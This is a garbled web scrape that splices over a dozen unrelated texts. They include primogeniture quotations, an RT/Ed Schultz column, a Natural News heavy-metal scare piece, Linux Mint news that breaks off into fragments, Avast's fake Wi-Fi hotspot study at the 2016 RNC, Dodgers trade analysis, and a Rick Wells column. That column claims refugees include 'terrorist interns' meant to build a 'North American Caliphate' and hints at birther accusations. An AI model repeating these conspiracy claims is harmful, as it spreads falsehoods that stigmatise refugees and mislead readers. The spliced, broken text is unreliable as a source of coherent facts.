but if you want to donate some you can head to my stream o: ( i am not sure if i am allowed to write that on LD.com) Wont be able to host a release there since my lobby is not big enoughbut if you want to donate some you can head to my stream o: ( i am not sure if i am allowed to write that on LD.com) Twitter: @Ler_GG | Facebook: lergg | youtube: lerlolgg | Twitch.tv/gg_nore | #ArtOfSupport
1 2 3 Next AllIs Richard's title of primogeniture more decidedly certain than that of Duke Robert of Normandy, the Conqueror's eldest son?
Like most of the high nobility, who rightly enough believed that primogeniture and birth were of the last importance to THEM, she preferred to show her distaste for the present order of things, by which the youngest prince of a numerous family had been put upon the throne of the oldest, by remaining at her chateau.
His two sisters and his brother, Raoul, would not hear of a division and waived their claim to their shares, leaving themselves entirely in Philippe's hands, as though the right of primogeniture had never ceased to exist.
Solomon found time to reflect that Jonah was undeserving, and Jonah to abuse Solomon as greedy; Jane, the elder sister, held that Martha's children ought not to expect so much as the young Waules; and Martha, more lax on the subject of primogeniture, was sorry to think that Jane was so "having.
To trail the genealogies of these high mortal miseries, carries us at last among the sourceless primogenitures of the gods; so that, in the face of all the glad, hay-making suns, and soft-cymballing, round harvest-moons, we must needs give in to this: that the gods themselves are not for ever glad.
More contentiously, the author proceeds to question whether primogeniture (the system whereby the inheritance passed to the eldest son) was as ancient or as universal a human practice as is commonly supposed, and he concludes that in Israel (and, indeed, elsewhere in the ancient Near East) the father was free to select his primary heir, and to give whatever privileges and benefits there might be to the son of his own choice.
According to Pathak, the main purpose of most of these texts was to justify the accession to the office of king by a younger brother instead of the oldest brother, to whom the law of primogeniture gave a better legal claim.
Primogeniture, or the preserving of a large estate by conveying it intact to the oldest son in a family, was abolished in the Virginia legislature largely through the efforts of Thomas Jefferson.
While he was a member of the Virginia House of Delegates (1776 - 79), he supported the abolition of primogeniture and entail, the establishment of religious freedom, and the separation of church and state.
OUT has fun at a party His title passed to Hugh under the rule of primogeniture, skipping sisters Lady Tamara, 34, and Lady Edwina, 33.
And, whereas across the Severn, the age-old rule of primogeniture saw the eldest son given the lion's share of privilege - thereby eroding his younger male siblings' power and wealth over time - the Celtic custom of Cyfran could explain what made Wales so unique compared to the rest of Western Europe in this respect.Jim Geraghty highlighted a fun bit of media trivia in today’s issue of the Morning Jolt and it involves a name familiar to most regular readers. Ed Schultz had his MSNBC show cancelled last summer as the network grappled with their tanking ratings, but his dozens of loyal viewers no doubt remained sure that he’d land on his feet. Turns out they were right, as the bombastic union supporter (and employee, though he never mentioned it on the air) has landed himself a job as an anchor at Russia Today’s American network. Here’s the video announcement:
Russia Today, in terms of being an unbiased news source, is probably only slightly worse than the soon to be shuttered Al Jazeera America. Their spin on pretty much everything is the same: blame America, but do it in a way which makes it look slightly more like actual news than Vladimir Putin’s personal propaganda bureau. Some of their previous employees have grown tired of the biased Kremlin advertising and taken the rare path of turning down a job in the media. As Jim reminds us, one of RT’s anchors famously had a drop the mic moment and walked off the job, being unwilling to shill for the Kremlin any more.
Another member of state-funded Russia Today made waves on Wednesday — not by standing behind Moscow, as the news network is wont to do, but by bucking it. From the anchor chair, Liz Wahl closed a show — as seen in video which she later tweeted — talking about the “ethical and moral challenges” she faces working for Russia Today, also known as RT. She spoke of being from a family who fled to America to escape Soviet forces during the 1956 Hungarian revolution, being the daughter of a U.S. military veteran and being the partner of a physician who works at a U.S. military base. “And that is why, personally, I cannot be part of a network funded by the Russian government that whitewashes the actions of Putin,” Wahl said, referring to Russian President Vladimir Putin. “I’m proud to be an American and believe in disseminating the truth,” she added. “And that is why, after this newscast, I’m resigning.”
That’s one heck of an outfit that Schultz has signed on with, but there may be one saving grace here. For a number of years we were left writing columns about the union spokesmodel’s motives and wondering if he was really trying to undermine America. With this new post he can be completely unfettered and just let his freak flag fly. Enjoy the new gig, Ed.A Natural News food science investigation conducted in cooperation with the non-profit Consumer Wellness Center has found alarming levels of the heavy metals tungsten, lead and cadmium in popular vegan and vegetarian protein supplements. Findings were confirmed at three laboratories, including a university lab.
Results of the food science investigation have been published at this Natural News article.
The heavy metal tungsten was found at concentrations exceeding 10,000 ppb in one lot of brown rice protein sold under a popular brand name. Lead was found at over 500 ppb and cadmium exceeded 1800 ppb. Several other lots were also tested and found to contain all three heavy metals.
Tungsten has recently been linked to a heightened stroke risk in a study published in the open access journal PLoS ONE (Jessica Tyrrell, Tamara S. Galloway, Ghada Abo-Zaid, David Melzer, Michael H. Depledge, Nicholas J. Osborne. High Urinary Tungsten Concentration Is Associated with Stroke in the National Health and Nutrition Examination Survey 1999–2010. PLoS ONE, 2013; 8 (11): e77546 DOI)
Lead researcher Mike Adams, aka the “Health Ranger,” is the first food scientist to confirm and publish findings of tungsten contamination in dietary supplements. More results of lab testing of other foods are published at labs.naturalnews.com
The serving size of the protein products tested by Natural News is 23 grams, meaning that the total intake of these three heavy metals from consuming one serving of the protein is:
Tungsten: 236 micrograms
Lead: 13.5 micrograms
Cadmium: 42 micrograms
California Proposition 65 limits the daily intake of lead to 0.5 micrograms from a dietary supplement. This means this brown rice protein product exceeds Prop 65 lead limits for dietary supplements by 2700%.
California Proposition 65 also limits the daily intake of cadmium to 4.1 micrograms from a dietary supplement. This brown rice protein product exceeds Prop 65 cadmium limits for dietary supplements by over 1000%.
California Proposition 65 does not set limits for the heavy metal tungsten, but if tungsten limits were the same as lead limits, this brown rice protein would exceed Prop 65 limits for dietary supplements by 47,200%.
The concentration of heavy metals found in many brown rice protein products even exceeds the far more lax tolerances defined by the American Herbal Products Association (AHPA) which allows daily microgram consumptions of Cadmium at 4.1 and Lead at 10 from any single product.
“These proteins contain the highest concentration of tungsten, lead and cadmium that we’ve ever found in any edible product, across all categories,” warned lead researcher Mike Adams.
The protein products tested are certified organic by the USDA. Organic certification does not test products for heavy metals, and there are no heavy metal limits established by the USDA.
Relatively little is known about the long-term health effects of tungsten consumption, as it is a heavy metal which only became an environmental contaminant after the rise of manufacturing of electronic devices such as mobile phones. Tungsten mines can release the heavy metal into streams, rivers and water tables. All the protein products found to contain Tungsten in this Natural News investigation were derived from rice, a crop which consumes large quantities of water as it grows.
Full results of this investigation are published at Labs.NaturalNews.com
About Natural News
Natural News is a science-based consumer watchdog investigative news agency focused on food science and holistic health.Can you name all of the top-five NFL draft selections in Dallas Cowboys history?
For the first time since 2003, the Dallas Cowboys will enter an NFL draft slated to pick in the top five. What will Jerry Jones do with the pick?
In the history of the franchise, the Cowboys have had eight selections in the top five. They've split those eight with four offensive players and four defensive players.
There were several drafted players who narrowly missed being top-five selections. Morris Claiborne was taken with the No. 6 overall pick in the 2012 draft. Greg Ellis and Roy Williams (the safety) were both No. 8 picks in their respective drafts. Lee Roy Jordan also just missed being a top-5 selection when he was drafted sixth overall in 1963.
Below is every Dallas Cowboy who was selected with a top-five pick in the NFL draft.
1965: Craig MortonNews
Donations
Hello everyone! Before I start with the news, I’d like to share a few words about the donations we received in December. You sent us an unprecedented number of donations for an all-time high total of $16,736! We had to check the stats twice to make sure this wasn’t a mistake. This follows the release of Linux Mint 17.3, so not only does it help our funding, it’s also extremely gratifying and motivating for us. Many many thanks to the 714 people who supported us, and to our partners and sponsors for being here for us.
Look and feel
In the comments section of last month’s news I mentioned a “new look and feel” and I noticed this scared some of you a little bit. Let me clarify this. We know who we are, we know what you like and we can tell from your feedback what you expect and whether or not you enjoy something after we release it or how likely you’ll be to enjoy it before we do. We’re also very conservative and very demanding in the way we do things. We know what we want from the OS and if something doesn’t fit we adapt it, replace it or rewrite it. Our vision doesn’t change easily, it remains more or less the same, we’re just constantly refining it. I’ve been at the heart of the MATE project since its beginning and we’ve invested a huge amount of efforts in the Cinnamon project. That was a commitment not to change the desktop paradigms, when GNOME 2 wasn’t available to us any longer we worked around it so that Linux Mint could go on being Linux Mint. We also embraced an LTS strategy and that’s a sign that we’re focused on the long term, we’re not “experimenting”.
We’ve all witnessed the rise of the iPad and the iPhone. This was attributed to iOS somehow and it started a new trend with various projects trying to replicate Apple’s success, inventing new formulas and radically changing their own goals, focus or identity in the process. We’ve seen a new artistic trend called “flat”, with bright colors, no gradients and minimalistic widgets, taking these projects by storm. You don’t see us at the forefront of all that. We do keep a close eye on it, without any intention to jump into it, but rather to learn from it and to see if it can help us improve what we’re already doing.
People who enjoyed Linux Mint years ago still enjoy it nowadays. If you enjoy it now, chances are you’ll enjoy it still for a long time. You’re here because you enjoy it right now, we know that, we enjoy it too, and we’ve no intention of being anything else. So, in the context of that “new look and feel”, we’re not trying to reinvent ourselves. We’re talking about icons and GTK themes here. We’re also committed to supporting Mint-X, so with a click of a mouse you’ll be able to make Mint 18 look just like the way Mint 17 did. Regarding the new themes, we’re working on something that looks more modern without looking minimalistic, professional and with subtle hints of colors without looking flashy. It’s a bit hard to describe, but ideally we want something that conveys the same feeling Mint-X did when it was introduced (years ago), while looking different (because we will ship both themes) and modern.
X-Apps
Work started on Linux Mint 18. One important aspect is GNOME 3.18 (the project and all its components, not just the desktop environment), which includes GTK and many applications used primarily by Cinnamon, but also Xfce and to a lesser extent MATE. A lot has changed between version 3.10 (used in Linux Mint 17) and version 3.18. GTK itself and many of the GNOME applications now integrate better with GNOME Shell and look more native in that environment. The bad news, is that they now look completely out of place everywhere else. To make matters worse, Unity, the flagship product of Ubuntu, relies heavily on GTK, GNOME applications and the GNOME environment itself, so we’re not dealing with the upstream version of 3.18 here, but with a collection of patches which bring their own issues (one |
A35) has some GNU/GPL components (C binaries)!*I can nonetheless assure you, that the pans are still as straight-from-the-camera as I can take. Nothing (exposure, curves, hue and saturation, etc.) was adjusted. Discrepancies between those which actually came from my cam and the pictures presented here may be attributed to compression.More on PyCon:Everyone Twitter-savvy yesterday tweeted with a hashtag #pyconph. But because I'm so paranoid/oldie/KJ, I don't have a Twitter account and my Droid isn't linked to my FB. Instead, I live blogged from my personal WordPress set-up.In fresh trouble for Delhi Health Minister Satyendar Jain, the ED has registered a case of money laundering against him and others on the basis of an FIR filed by the CBI recently. The probe agency officials said the criminal case was registered against the minister under the relevant sections of the Prevention of Money Laundering Act (PMLA) and the Enforcement Directorate (ED) will probe the alleged ‘proceeds of crime’ in the case.
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Jain and others associated with him in the case will be summoned by the ED to record their statements. It will also identify his properties and that of other accused which could be attached under the PMLA. The Central Bureau of Investigation (CBI) had earlier said that Jain, who is Delhi’s health minister, could not explain the source of funds received by four companies in which he is a shareholder.
It had registered a case against him, his wife and four others on charges of money laundering. CBI sources had said that Rs 4.63 crore was allegedly received through Prayas Info Solutions, Akinchan Developers, Managalyatan Projects and Indo-Metal Impex Pvt Limited in 2015-16. They had said Jain and his wife were allegedly holders of one-third of shares in these companies during the period.
During CBI questioning, the minister and his wife could not explain the source of Rs 1.62 crore — approximately one- third of the funds received by the companies during 2015-17, they had said, adding Jain was examined twice by the agency while his wife was quizzed once. The CBI has alleged that Jain had control over these companies either in the form of being one of the directors and by holding one-third of shares of these companies in his name or in the names of his family members or others.
The probe agency had also claimed that these were shell firms used for parking money in the form of investments in equity shares in connivance with Kolkata-based shell companies. “This apart, before becoming a public servant, he was allegedly involved in laundering Rs 11.78 crore during the years 2010-12 through these companies as well as other firms also based in New Delhi,” the CBI had said. The funds were allegedly used to purchase over 200 bighas of land in Auchandi, Bawana, Karala and Mohammed Mazvi villages in Delhi between 2010-16, CBI sources had said.
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The Aam Aadmi Party, however, had refuted the CBI’s allegations and said that reports of Jain’s involvement in shell companies and benami land deals were “baseless”. “The CBI is planting a fictitious amount of Rs 1.62 crore as income for Jain. AAP challenges the CBI to substantiate the charge through some solid evidence. It is a lie, they should prove it,” the party had said.“I vote Trump!” fake Wi-Fi hotspot fools Republican National Convention goers.
More than 1,200 RNC attendees unknowingly connect to Avast’s bogus Wi-Fi hotspots outside the 2016 Republican National Convention.
This week, Avast security researchers conducted an exciting, unique experiment at the Republican National Convention in Cleveland to demonstrate how risky it can be to connect to public Wi-Fi. The experiment revealed that over a thousand convention attendees were negligent in their behavior when connecting to public Wi-Fi at the event. Attendees risked the possibility of being spied on and hacked by cybercriminals while they used online banking services, social media, dating apps, and even while they played Pokémon Go.
In the experiment, our researchers set up fake Wi-Fi networks at various locations around Quicken Loans Arena and at Cleveland Hopkins International Airport with phony network names (SSIDs) like “Google Starbucks”, “Xfinitywifi”, “Attwifi”, “I vote Trump! free Internet” and “I vote Hillary! free Internet”.
These hotspots were designed to appear as commonplace or as if they had been set up for convention attendees. Out of the people connecting to the candidate-related Wi-Fi in Cleveland, 70% connected to the Trump-related Wi-Fi, 30% to the Clinton-related Wi-Fi.
Fake Wi-Fi networks show that convenience doesn’t always equate to security
Users often don’t pay too much attention to the networks that they connect to, since their mobile devices are often set to connect to known SSIDs automatically. While convenient for many, this feature bears the risk of users being spied on by cybercriminals who set up a false Wi-Fi network with a common SSID. Web traffic can be visible to anyone on any Wi-Fi network that does not request a password.
Over the course of a day, Avast saw more than 1.6Gbs transferred from more than 1,200 users. Moreover, 68.3% of users‘ identities were exposed when they connected, and 44.5% of Wi-Fi users checked their emails or chatted via messenger apps.
To protect people’s privacy, the researchers scanned the data, but did not store it or collect any personal information.
Avast learned the following about the Republican National Convention attendees:
55.9% had an Apple device, 28.4% had an Android device, 1.5% had a Windows Phone device, 3.4% had a MacBook laptop and 10.9% had a different device
10.8% used Google Chrome, 0.2% Mozilla Firefox and 4.2% Safari
39.7% have the Facebook or Facebook messenger app installed, 10.7% have the Twitter app installed, 8.0% have Instagram installed
13.1% accessed Yahoo Mail, 17.6% checked their Gmail inbox, and 13.8% used chat apps like WhatsApp, WeChat and Skype
6.5% shopped on Amazon, and 1.2% accessed a banking app or banking websites like bankofamerica.com, usbank.com, or wellsfargo.com
5.1% played Pokémon Go
4.2% visited government domains or websites
0.7% used dating apps like Tinder, Grindr, OKCupid, Match and Meetup
0.24% visited pornography sites like Pornhub.com
“With Washington heatedly discussing cybersecurity issues virtually every week, we thought it would be interesting to test how many people actually practice secure habits,” said Gagan Singh, president of mobile at Avast. “Understanding the talking points behind these privacy issues is very different from implementing secure habits on a daily basis. Though it is not surprising to see how many people connect to free Wi-Fi, especially in a location with large crowds such as this, it is important to know how to stay safe when connecting. When joining public Wi-Fi, consumers should utilize a VPN service that anonymizes their data while connecting to public hotspots to ensure that their connection is secure.”
Avast SecureLine VPN for PC, Android, and iOS devices encrypts connections on unsecured public Wi-Fi and allows users to browse anonymously. The app also lets users choose the server location they would like to connect with, enabling users to access content from their home country that may otherwise be restricted by geo-location.Together, that trio (and the many others they've added to their team since) has completely remade the roster and the organization. Since the day Zaidi and Byrnes came on board, the Dodgers have made 73 trades involving at least one Major Leaguer, the second most in the Majors behind Seattle. (Trades of players to be named later are counted separately, for these purposes.)
Three years and five days before the Dodgers finished off the Cubs to advance to their first World Series since 1988, they remade their front office by hiring Rays general manager Andrew Friedman to become the team's first president of baseball operations. Three weeks later, on Nov. 6, 2014, Friedman added A's exec Farhan Zaidi as general manager and former D-backs and Padres GM Josh Byrnes as senior vice president of baseball operations.
Three years and five days before the Dodgers finished off the Cubs to advance to their first World Series since 1988, they remade their front office by hiring Rays general manager Andrew Friedman to become the team's first president of baseball operations. Three weeks later, on Nov. 6, 2014, Friedman added A's exec Farhan Zaidi as general manager and former D-backs and Padres GM Josh Byrnes as senior vice president of baseball operations.
Together, that trio (and the many others they've added to their team since) has completely remade the roster and the organization. Since the day Zaidi and Byrnes came on board, the Dodgers have made 73 trades involving at least one Major Leaguer, the second most in the Majors behind Seattle. (Trades of players to be named later are counted separately, for these purposes.)
Beyond that, 14 players on the current roster came via trade, the most of any postseason team. Just four members of the 2017 National League Championship Series roster have been continuously with the Dodgers since before the new regime arrived -- Clayton Kershaw, Yasiel Puig, Andre Ethier and Joc Pederson. (Others, like Justin Turner and Kenley Jansen, became free agents before deciding to return. A separate group, including Adrian Gonzalez and Hyun-Jin Ryu, haven't factored into the playoffs.)
From the first trade (acquiring Kyle Jensen from the Marlins on Nov. 17, 2014) to the most recent (acquiring Connor Joe from the Braves on Sept. 24), all 73 have had an impact. Let's count down the 10 that have had the most impact on the current team. (We're not including those for Rich Hill and Chase Utley that led to free agency, though they later returned.)
10. Aug. 19, 2017: Acquired OF Curtis Granderson from the Mets for Minor League P Jacob Rhame
They don't all work! This one, to put it lightly, has not, despite the fact that it should have. After a slow April with the Mets, Granderson spent the next few months mashing, hitting a stellar.263/.383/.570 from May 1 through the end of his Mets tenure. However, Granderson posted a mere.161/.288/.366 with the Dodgers, and in 15 postseason appearances, he has just one hit. Meanwhile, the 24-year-old Rhame made his Major League debut in September with the Mets.
Video: SD@LAD: Granderson belts a solo homer to right-center
9. July 31, 2017: Acquired LHP Tony Watson from the Pirates for Minor League IF Oneil Cruz and P Angel German
Long one of the best setup men in the game, Watson's attempt to replace Mark Melancon as Pittsburgh's closer was bumpy, and he'd lost the job earlier in the season. Watson was a little better with the Dodgers -- a 2.70 ERA in 20 innings, after a 3.66 mark for the Bucs -- but of course, the division was totally wrapped up by the Trade Deadline. This was about the October bullpen, though Watson has faced just 13 hitters so far. He did throw 2 1/3 scoreless innnings in the NLCS.
8. July 31, 2017: Acquired LHP Tony Cingrani from the Reds for OF Scott Van Slyke and Minor League C Hendrick Clementina
This was the same, but different. Cingrani was struggling badly with the Reds (a 5.40 ERA in 23 1/3 innings), but has been far better with the Dodgers, striking out 28 against just six walks in 19 1/3 regular-season innings, good for a 2.79 ERA. That's a change that in some part can be credited to the Dodgers asking him to use his slider more, which he has, 25 percent of the time with Los Angeles after just 3 percent of the time with Cincinnati. While he's barely been needed in the postseason, he's become one of manager Dave Roberts' more reliable relievers.
7. Jan. 24, 2017: Acquired 2B Logan Forsythe from the Rays for RHP Jose De Leon
After what seemed like an entire offseason of rumors about Minnesota's Brian Dozier, the Dodgers eventually turned around and traded their (at the time) No. 2 overall prospect to Tampa Bay for Forsythe, who had put up two straight above-average seasons for the Rays. But Forsythe broke his toe in April and never really got on track, hitting just.224/.351/.327 with six home runs, though his defense was very good. On the other hand, De Leon appeared in only one game for Tampa Bay, missing time with back, lat, and elbow injuries. Consider the jury out on this one.
Video: NLCS Gm5: Forsythe's double plates two
6. July 31, 2016: Acquired RHP Josh Fields from the Astros for Minor League 1B Yordan Alvarez
In a flurry of Deadline deals last year -- the Dodgers also acquired Hill and Josh Reddick from Oakland, as well as Jesse Chavez from Toronto -- this was a little-noticed move that flew under the radar. And why not? Fields had a 6.89 ERA in 15 games for Houston before spending the three months leading up to the trade in Triple-A. But in 79 games for the Dodgers over two years, he has a 2.83 ERA, striking out 82 in 76 1/3 innings, with his high-velocity, high-spin, high-in-the-zone fastball fitting in perfectly with the Dodgers' bullpen philosophy.
Fields has been useful, but this isn't without risk. The 20-year-old Alvarez hit.304/.379/.481 in 391 Class A plate appearances for the Astros this year, appearing in the Futures Game.
5. July 31, 2017: Acquired RHP Yu Darvish from the Rangers for Minor League 2B/OF Willie Calhoun, P A.J. Alexy, and IF Brendon Davis
This was the big one this year, and it didn't come cheaply. While they didn't part with Alex Verdugo, Walker Buehler or Yadier Alvarez, Calhoun was the team's No. 4 overall prospect, and while he's defensively limited, he's considered to have elite bat-to-ball skills. Still, the presence of Darvish has helped alleviate any considerations of Kershaw having to go on short rest in October, and that's almost as important as the two excellent starts he's contributed in the playoffs, striking out 14 against just one walk and two earned runs in 11 1/3 innings.
Video: NLCS Gm3: Darvish tosses 6 1/3 frames of one-run ball
4. July 30, 2015: Acquired LHP Alex Wood, RHP Jim Johnson, LHP Luis Avilan, 2B Jose Peraza and RHP Bronson Arroyo from the Braves; acquired RHP Mat Latos and OF Michael Morse from the Marlins for 2B Hector Olivera, LHP Paco Rodriguez, and RHPs Zack Bird, Jeff Brigham, Victor Araujo and Kevin Guzman
OK, deep breath. This one, part of a complicated three-team trade that also involved Draft picks, was initially notable because of the shocking departure of Olivera, who had been signed for $62.5 million just four months earlier. Then, it was largely panned because Latos and Johnson combined for an 8.16 ERA for Los Angeles after arriving.
But now, it's looked at as an (expensive) steal, because while that pair flopped and Morse and Arroyo never played for the Dodgers, Wood blossomed into an All-Star this year, and Avilan became a useful lefty reliever. Combined, the pair has given the Dodgers 364 1/3 innings of 3.36 ERA ball. Meanwhile, Olivera is no longer in organized ball.
3. Dec. 18, 2014: Acquired C Yasmani Grandal, RHP Joe Wieland and RHP Zach Eflin from the Padres for OF Matt Kemp and C Tim Federowicz. (Eflin was then flipped to Philadelphia as part of a deal for SS Jimmy Rollins)
The second major trade of the Friedman/Zaidi era was easily the most controversial, as many fans were turned off when the newcomers dealt longtime star Kemp, who had bounced back from injury to hit.309/.365/.606 in the second half of 2014, to a division rival. But they accurately foresaw how Kemp's defensive limitations and hip issues would limit his overall value, and he lasted just a season and a half in San Diego, later being dealt to Atlanta for -- of all people -- Olivera.
Grandal, meanwhile, turned into a borderline star, adding elite pitch-framing and a.237/.332/.448 line that's been the second best of any catcher behind Buster Posey over the past three years. Throw in the $75 million the Dodgers saved, and this one worked out very well for LA.
Video: SD@LAD: Grandal crushes a three-run homer to right
2. Dec. 11, 2014: Acquired C Austin Barnes, UT Enrique Hernandez, RHP Chris Hatcher and LHP Andrew Heaney from the Marlins for 2B Dee Gordon, RHP Dan Haren and SS Miguel Rojas
Speaking of controversial deals, Gordon was a popular Dodger who immediately went off and led the NL in batting average in 2015, though his star dimmed with a 2016 suspension and an underwhelming '17. Though Hatcher didn't work out as hoped, Heaney has turned into Howie Kendrick, who gave the team two league-average seasons, and Hernandez has spent three years as one of baseball's foremost lefty-mashers, even before his Game 5 heroics.
The real jewel, however, is Barnes, who broke out in a big way in 2017, hitting.289/.408/.486 with elite pitch framing of his own. He has essentially supplanted Grandal as the team's starting catcher during this playoff run.
1. June 19, 2016: Acquired UT Chris Taylor from Seattle for RHP Zach Lee
The biggest deal, however, may have been the quietest. Lee had been a first-round pick in 2010, but despite having signed a $5.25 million deal, he'd made just a single start for the Dodgers. Taylor had been unable to win a regular job in parts of three seasons with the Mariners, and he hit just.207/.258/.362 in 34 games with the Dodgers after the deal. This was, at best, a depth trade of formerly well-regarded prospects.
Video: NLCS Gm5: Taylor robs Almora Jr. with running catch
Lee never appeared for Seattle, got into three games for the Padres and is now out of baseball. Taylor, meanwhile, has had baseball's most unexpected breakout. Thanks to a drastically overhauled swing that echoes that of Turner's, Taylor hit.288/.354/.496 with 21 homers, making starts at five positions and sharing NLCS co-MVP honors with Turner. The Dodgers would be lying if they said they saw this coming; they're happy about it nonetheless.
Mike Petriello is an analyst for MLB.com and the host of the Statcast podcast.UNLESS your name is Conor McGregor, you probably shouldn’t be asking for a “money fight” in the UFC.
That’s the message from UFC president Dana White, who is clearly sick and tired of hearing so many athletes on the roster pounding the drum about landing the big money bout, which typically involves McGregor’s name somehow being invoked.
Of course, McGregor is the biggest draw in the history of the sport so it’s understandable why so many fighters would love the chance to cash in on a massive payday to face him. But White says not everyone can fight him and maybe it’s time for more competitors to start to earn their own way.
“I’m getting tired of the term ‘money fights’,” White told FOX Sports after the UFC 209 weigh-ins on Friday. “I want the money fights! What are you all going to move down and fight Conor [McGregor]? Listen there’s no bones about it — Conor is the guy. Conor brings in big gates, big pay-per-view numbers and everything else. Shut up if you don’t.
“If you’re not him, shut up.”
White says the problem with begging for a “money fight” is that fighters are just proving they can’t pull the big numbers themselves, so they need someone else to help do it for them.
Instead, White insists that fighters start to find their own way in the world and become the draw so they can cash in at the bank every time they compete rather than hoping to score a once in a lifetime opportunity against McGregor. More fighters should try to turn themselves into profitable superstars rather than build their celebrity off of McGregor or an another established draw already competing in the UFC.
“Guys are talking about money fights, I’m like you’re not a money fight! You’re not a money fight,” White shouted. “You’re going to make whatever you’re going to make and if you’re a good champion and your fight sells, you’re going to do pay-per-views and you’re a partner in the pay-per-view.
“If you’re not that big pay-per-view star, shut up and fight.”The fact that the United Nations, not the United States makes the determinations as to who will be given applications for asylum in the US is wrong-headed and dangerous. Americans should be deciding who and in what numbers is allowed in through the actions of our perpetually inept Congress.
The UN has given their agents of intrusion a lofty, regal-sounding title, the United Nations High Commissioner for Refugees (UNHCR). They could just as easily have called it the human trafficking and importation office but that would have made their task of fabricating a false perception of legitimacy much harder.
In pursuit of doing what’s best for them, to move as many individuals from the Middle East to the US, terrorist interns included, the UNHCR is now considering “alternative” ways to slip more “Syrian refugees” refugees past the American people. They can’t meet the assignment Obama gave them in his fundamental transformation at current levels.
Even at the new accelerated pace of importing 10,000 “Syrians” by September, and even more thereafter, it could take decades to create a North American Caliphate. The UN is coming up with another plan.
Senior Researcher Nayla Rush of the Center for Immigration Studies, warned on Monday that the UN is going to use other methods of infiltration for the “refugees,” including not calling them refugees and padding the numbers of other programs. “They might even amount to convenient admissions detours at a time when the U.S. refugee resettlement program is under tight scrutiny,” she said. Detours is a deceptive and polite way to say circumvention or flagrant disregard for American laws and policies.
She theorizes that, faced with a target of relocating 480,000 “Syrian refugees” into the west over the next three years, the plotting is already underway. She says the UN representatives are already laying the foundation for of a false appearance of legitimacy.
She notes that “During a panel discussion at the Brookings Institution in February, Beth Harris, Research Professor at Georgetown University and adviser to the United Nations Secretary General on humanitarian refugee policy raised the possibility of “alternative paths,” directly targeting the US.
Ms. Rush cited comments by the UNHCR in which they stated, “Refugees and government officials are expecting this crisis to last 10 or 15 years. It’s time that we no longer work as business as usual … UNHCR next month [March 2016] is convening a meeting to look at what are being called “alternative safe pathways” for Syrian refugees. Maybe it’s hard for the U.S. to go from 2,000 to 200,000 refugees resettled in a year, but maybe there are ways we can ask our universities to offer scholarships to Syrian students.”
What the UNHCR is advocating an abuse of power that they shouldn’t even have. They’re not the US; they’re the UN, a foreign globalist entity that has no legitimate authority over the Constitution and the American people.
They also proposed “Tweaking some of our immigration policies to enable Syrian-Americans who have lived here to bring not only their kids and spouses but their uncles and their grandmothers. There may be ways that we could encourage Syrians to come to the U.S. without going through this laborious, time-consuming process of refugee resettlement.”
Rush described how the UNHCR himself, Filippo Grandi, had called for “alternate avenues” during a high level meeting in March. He suggested possible pathways as being not only through their “resettlement” but also by means of “more flexible mechanisms for family reunification, including extended family members, labor mobility schemes, student visa and scholarships, as well as visa for medical reasons. Resettlement needs vastly outstrip the places that have been made available so far… But humanitarian and student visa, job permits and family reunification would represent safe avenues of admission for many other refugees as well.”
Rush also noted ominously that after that meeting, Hussein Obama made another of his personal pledges that is a precursor of future dictatorial actions. He said, “The United States pledged an additional $10 million to UNHCR to strengthen its efforts to identify and refer vulnerable refugees, including Syrians, for resettlement.”
He added, “The United States joins UNHCR in calling for new ways nations, civil society, the private sector, and individuals can together address the global refugee challenge. Additionally, the United States has created a program to allow U.S. citizens and permanent residents to file refugee applications for their Syrian family member.”
The only changes we Americans are interested in are those that tighten immigration policies, return to a genuine enforcement posture and control of the process being returned to American hands.
There’s one Kenyan and one Canadian who need some particular scrutiny and likely detention for immigration and election fraud. As patriotic Americans, we’ll gladly handle those proceedings ourselves.
I’m Rick Wells – a constitutional conservative writer who recognizes that our nation, our Constitution and our traditions are under a full scale assault from multiple threats. I’m not PC; I call it like I see it. – “Like” him on Facebook, “Follow” him on Twitter. – Please SUBSCRIBE in the right sidebar at http://RickWells.us or http://constitutionrising.com to receive our posts directly. Thank You – Rick Wells.BJP national president Amit Shah on Monday dismissed Congress demands for the resignation of Uttar Pradesh chief minister Yogi Adityanath over the deaths of children at a government hospital in Gorakhpur saying such tragedies have also occurred during Congress rule. “It is the job of the Congress to seek resignations. In this big country, there have been many tragedies and this is not the first time. Tragedies have occurred under Congress rule too,” Shah said in a reaction to demands by the opposition Congress party for the resignation of Yogi Adityanath.
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“Unlike the Congress party, we do not blame anyone without an investigation. An investigation is on. Yogiji has ordered a time bound investigation. We will disclose the findings of the investigation in public. Action will be taken at whatever level based on the investigations,” Shah said.
The BJP president said the UP chief minister had not issued directives to celebrate Krishna Janmashtami despite the deaths of children at Gorakhpur. “There is grief everywhere over the deaths of children at Gorakhpur. But Krishna Janmashtami has its place and August 15 has its place. Yogiji has not said that despite the death of the kids Krishna Janmashtami must be celebrated. Krishna Janmashtami will be celebrated on the basis of personal beliefs in the homes of people. It is not being celebrated as a government festival,” Shah said.
To a query on why prime minister Narendra Modi had not put out any message of condolence on the social media platform Twitter as he has done for many incidents in the past Shah said the Prime Minister had expressed grief in a media statement. “The Prime Minister has expressed grief over the incident. He may not have tweeted,” Shah said.during miami art week, chilean artist dasic fernández is adding one of his signature ‘inverse drip’ murals to wynwood walls — a former warehouse district turned street art complex in south florida. the wall-mounted image depicts a vibrantly-painted female figure formed from sinuous clusters of color that fit together like puzzle pieces. these curvaceous shapes create the illustration of a woman with her head restfully leaning on her arms. each of the painted daubs drip, not in their natural direction downwards, but up towards the sky in a surreal reverse of gravity. to the left of the composition, a small hummingbird hovers above the scene.
the image depicts a vibrantly-painted female figure formed from sinuous clusters of color
image © designboom
dasic fernández has created this piece as part of the program ‘fear less’ at wynwood walls. the exhibition, presented by citi, brings together twelve internationally renowned muralists under a single theme, calling on the artists to be ‘fearless’ in a world that often seems absorbed with anxiety.
designboom is in miami for the city’s annual art and design week, where we watched dasic fernández’s live painting in wynwood. see images and a video of the artist in action, below, and see our ongoing coverage of miami art week here.
the painted colors fit together like puzzle pieces
image © designboom
curvaceous shapes create the illustration of a woman
image © designboom
the woman’s head restfully leans on her arms
image © designboom
to the left of the composition, a small hummingbird hovers nearby
image © designboom
a surreal reverse of gravity takes place
image © designboom
each of the painted daubs drip up towards the sky
image © designboom
watch dasic fernández painting at miami’s wynwood walls
dasic fernández finishing up his latest piece for miami art week
image © designboom
the wall-mounted mural in-progress
image by instagrafiteThe year is 1990-something. You and your plucky band of heroes are somewhere in the besieged city of Porgoren. You will have to use your wits, judgement and skill to win the war. Except you won’t be winning the war. If you’re lucky you’ll be barely surviving the horrors of war in a makeshift shelter with the other civilians. There are no heroes here.
